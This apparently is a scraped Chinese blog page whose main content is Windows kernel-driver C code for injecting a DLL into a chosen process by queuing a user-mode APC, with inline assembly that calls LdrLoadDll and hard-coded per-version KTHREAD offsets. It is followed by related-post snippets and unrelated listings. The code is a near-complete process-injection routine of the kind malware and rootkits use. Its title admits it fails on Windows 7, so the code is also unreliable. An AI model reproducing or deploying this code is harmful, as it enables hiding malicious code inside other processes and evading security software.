APC注入DLL(win7下有问题)
- void APCKernelRoutine(PKAPC pKAPC,
- PKNORMAL_ROUTINE pUserAPC,
- PVOID pContext,
- PVOID pSysArg1,
- PVOID pSysArg2)
- {
- DbgPrint("APCKernelRoutine Entered\n");
- ExFreePool(pKAPC);
- }
- NTSTATUS InjectDllByAPC(ULONG TargetPid, ULONG TargetTid, PUNICODE_STRING usDllPath, ULONG LdrMethodAddress)
- {
- ULONG size;
- PKTHREAD TargetThread;
- PEPROCESS TargetProcess;
- KAPC_STATE ApcState; ULONG arg1 = 0;
- ULONG arg2 = 0;
- ULONG arg3 = 0;
- DbgPrint("Inside InjectDllByAPC...\n"); size = (unsigned char*)APCMdlCodeEnd - (unsigned char*)APCMdlCode;
- DbgPrint("Allocating MDL (1)...\n"); pMDLApcCode = IoAllocateMdl(APCMdlCode, size, FALSE, FALSE, NULL);
- if (!pMDLApcCode)
- {
- return(STATUS_UNSUCCESSFUL);
- }
- MmProbeAndLockPages(pMDLApcCode, KernelMode, IoWriteAccess);
- RtlZeroMemory(pAPCData, sizeof( pAPCData));
- memcpy( (char*) pAPCData, usDllPath->Buffer, usDllPath->Length);
- unicodeLengthInfo = *(ULONG*) usDllPath;
- pMDLApcData = IoAllocateMdl (pAPCData, sizeof(pAPCData), FALSE,FALSE,NULL);
- if (!pMDLApcData)
- {
- return STATUS_UNSUCCESSFUL;
- }
- MmProbeAndLockPages(pMDLApcData, KernelMode, IoWriteAccess); PsLookupProcessByProcessId((HANDLE)TargetPid, &TargetProcess);
- DbgPrint("Pid: %d, PEPROCESS: 0X%X\n", TargetPid, TargetProcess);
- PsLookupThreadByThreadId ((PVOID) TargetTid, &TargetThread);
- DbgPrint("Tid: %d, PKTHREAD: 0X%X\n", TargetTid, TargetThread); KeStackAttachProcess((PKPROCESS) TargetProcess, &ApcState);
- pMappedCode = (PVOID*) MmMapLockedPagesSpecifyCache(pMDLApcCode, UserMode, MmCached, NULL, FALSE, NormalPagePriority);
- pMappedData = (PVOID*) MmMapLockedPagesSpecifyCache(pMDLApcData, UserMode, MmCached, NULL, FALSE, NormalPagePriority); KeUnstackDetachProcess (&ApcState);
- arg1 = (ULONG) LdrMethodAddress;
- arg2 = (ULONG) pMappedData;
- arg3 = (ULONG) unicodeLengthInfo;
- pKAPC = (PKAPC) ExAllocatePool( NonPagedPool, sizeof(KAPC) );
- RtlZeroMemory(pKAPC, sizeof(KAPC));
- KeInitializeApc(pKAPC, TargetThread, OriginalApcEnvironment,
- (PKKERNEL_ROUTINE)APCKernelRoutine, NULL,
- (PKNORMAL_ROUTINE) pMappedCode,
- UserMode, (PVOID)arg1); KeInsertQueueApc(pKAPC, (PVOID)arg2, (PVOID)arg3, 0);
- //KETHREAD.ApcState.UserApcPending = 1
- //*((unsigned char *)TargetThread + 0x4a) = 1; //XP, 2K3 RTM
- //*((unsigned char *)TargetThread + 0x3e) = 1; //2K3 SP1, SP2
- //*((unsigned char *)TargetThread + 0x4e) = 1; //Vista
- *((unsigned char *)TargetThread + 0x56) = 1; //Win 7
- if (pMDLApcCode)
- {
- MmUnlockPages(pMDLApcCode);
- IoFreeMdl(pMDLApcCode);
- } if (pMDLApcData)
- {
- MmUnlockPages(pMDLApcData);
- IoFreeMdl(pMDLApcData);
- }
- ObDereferenceObject(TargetProcess);
- ObDereferenceObject(TargetThread); return STATUS_SUCCESS;
- }
- void APCMdlCode(PVOID lpLdrLoadDll, PVOID pwsDllPath, PVOID pwsDllPathLength)
- {
- UNICODE_STRING usDllName;
- ULONG DllCharacteristics = 0;
- PVOID DllHandle = 0;
- usDllName.Length = (USHORT) pwsDllPathLength;
- usDllName.MaximumLength = usDllName.Length + 2;
- usDllName.Buffer = (WCHAR*) pwsDllPath;
- __asm
- {
- pushad lea eax, DllHandle
- push eax
- lea eax, usDllName
- push eax
- lea eax, DllCharacteristics
- push eax
- push 0
- call [lpLdrLoadDll] nop
- nop
- popad }
- }
- void APCMdlCodeEnd()
- {
- }
APC注入DLL(win7下有问题)的更多相关文章
- 分析恶意驱动(进程启动apc注入dll)
一.前言 用IDA也有好些时间了,以前就只会用F5功能玩无壳无保护的裸驱动,感觉太坑了,这两天就开始看网上大牛的逆向. 今天记录一下sudami曾经逆向过的fuck.sys.第一遍自己走的时候漏掉了 ...
- Dll注入:Ring3 层 APC注入
APC,即Asynchronous procedure call,异步程序调用APC注入的原理是:在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统 ...
- Dll注入技术之APC注入
APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下: 1)当EXE里某个线程执行到SleepEx( ...
- DLL注入-APC注入
APC注入 APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下: 1)当EXE里某个线程执行到Sl ...
- win7下的PHP+IIS配置,找不到php5isapi.dll的问题,版本5.4.9
原文:win7下的PHP+IIS配置,找不到php5isapi.dll的问题,版本5.4.9 问题:PHP新手配置,在官网上下载的压缩包.按网上的找的教程配置IIS时发现,在解压包里找不到php5is ...
- win8和win7下解决php5.3和5.4、5.5等不能加载php_curl.dll的终极解决办法 收藏
win8和win7下解决php5.3和5.4.5.5等不能加载php_curl.dll的终极解决办法 收藏2015年01月11日 最近分别在WIN7和Windows8 上分别安装php 高版本!都遇到 ...
- win7 下注册dll文件失败
1.win7 下注册dll文件失败,提示模块“xx.dll”已加载,但找不到入口点DllRegisterServer 原因:该dll文件非可注册组件,没有包含DllRegisterServer函数,可 ...
- D2007在win7下bordbk105N.dll 莫名其妙的问题。
已经装过一次win7下d2007.再装一次就出现许多莫名其妙的问题.其中之一: Windows 7 64bit Delphi Debugger Fix / Workaround 2013-08-28 ...
- Windows x86/ x64 Ring3层注入Dll总结
欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...
随机推荐
- thinkphp 常量参考
预定义常量 预定义常量是指系统内置定义好的常量,不会随着环境的变化而变化,包括: URL_COMMON 普通模式 URL (0) URL_PATHINFO PATHINFO URL (1) URL_R ...
- 线性基思想+贪心——cf1249C
/*1+3+9+...+3^n<3^(n+1),按这个思路贪心一下就好*/#include<bits/stdc++.h> using namespace std; #define l ...
- BZOJ 2055: 80人环游世界(有上下界的费用流)
题面 Time Limit: 10 Sec Memory Limit: 64 MB Submit: 693 Solved: 434 [Submit][Status][Discuss] Descript ...
- java求两个数中的大数
java求两个数中的大数 java中的max函数在Math中 应用如下: int a=34: int b=45: int ans=Math.max(34,45); 那么ans的值就是45.
- pandas中读取文件报错
import pandas as pd fileName = "路径中带有中文/xxx.csv" tf_train = pd.read_csv(fileName) 会提示报错 OS ...
- 批处理禁止指定的IE的加载项
步骤: 1.查找插件对应的 CLSID 获取 HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats 下的 CLSID, 然后在 HKCR\C ...
- (16)centos7 日志文件
常见日志文件 开机启动日志,只会记录本次信息 /var/log/boot.log 计划任务日志 /var/log/cron 开机内核检测信息 /var/log/dmesg 账号登录信息 /var/lo ...
- socket模拟通信
import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java ...
- linux get current thread count and system threads limit
get current thread count grep -s '^Threads' /proc/[0-9]*/status | awk '{ sum += $2; } END { print su ...
- 从pcap文件中分析出数据包
import dpkt import struct import sys,os f=file(sys.argv[1],"rb") pcap=dpkt.pcap.Reader(f) ...